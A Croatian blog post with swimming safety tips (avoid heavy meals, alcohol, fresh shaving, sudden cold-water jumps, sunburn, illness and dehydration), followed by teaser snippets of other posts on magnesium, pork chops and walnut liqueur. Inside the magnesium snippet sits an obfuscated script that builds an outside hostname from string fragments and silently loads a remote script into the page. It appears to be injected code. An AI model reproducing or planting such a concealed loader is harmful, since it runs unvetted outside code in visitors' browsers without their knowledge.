ŠTO NE BISTE SMJELI RADITI PRIJE ULASKA U MORE?



Što ne biste smjeli raditi prije ulaska u more?




U ljetnim mjesecima mnogi jedva čekaju osvježenje u moru, no prije nego što se zaletite u valove, dobro je prisjetiti se nekoliko važnih pravila. Neke navike koje se čine bezazlenima mogu povećati rizik od zdravstvenih problema ili neugodnosti tijekom kupanja.





Nemojte ulaziti u more odmah nakon obilnog obroka

Nakon obilnog jela organizam najveći dio energije usmjerava na probavu, zbog čega plivanje može biti napornije i manje ugodno. Iako je uvriježeno mišljenje da će kupanje odmah nakon jela nužno izazvati ozbiljne posljedice, stručnjaci ipak preporučuju pričekati neko vrijeme nakon obilnog obroka, osobito ako planirate intenzivnije plivati.



Izbjegavajte konzumaciju alkohola

Alkohol smanjuje sposobnost procjene, usporava reflekse i narušava koordinaciju, što u vodi može biti vrlo opasno. Osim toga, povećava rizik od dehidracije i otežava organizmu da se nosi s visokim temperaturama.



Ne depilirajte se neposredno prije kupanja

Svježe obrijana ili depilirana koža osjetljivija je na iritacije, a morska sol može izazvati peckanje i crvenilo. Otvoreni folikuli također povećavaju mogućnost razvoja manjih upala, pa je depilaciju bolje obaviti barem dan ranije.



Nemojte naglo skakati u hladno more

Ako ste dugo boravili na suncu, nagli skok u hladniju vodu može izazvati temperaturni šok. Mnogo je sigurnije postupno rashladiti tijelo – najprije smočiti ruke, noge i vrat, a tek potom polako ući u more.



Ne zaboravite zaštititi kožu od sunca

Ulazak u more bez prethodno nanesene vodootporne kreme sa zaštitnim faktorom može povećati rizik od opeklina, čak i ako planirate biti u vodi. Sunčeve zrake odbijaju se od površine mora, pa je izloženost UV zračenju često veća nego što mislimo.



Nemojte ulaziti u more ako se osjećate loše

Vrtoglavica, iscrpljenost, povišena temperatura ili osjećaj slabosti znakovi su da bi kupanje trebalo odgoditi. U vodi i manja zdravstvena tegoba može postati ozbiljniji problem, osobito ako plivate dalje od obale.



Ne zanemarujte hidrataciju

Boravak na suncu i visokim temperaturama ubrzano dovodi do gubitka tekućine, pa je važno redovito piti vodu tijekom dana. Dehidracija može uzrokovati umor, grčeve i vrtoglavicu, što može biti opasno tijekom kupanja.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više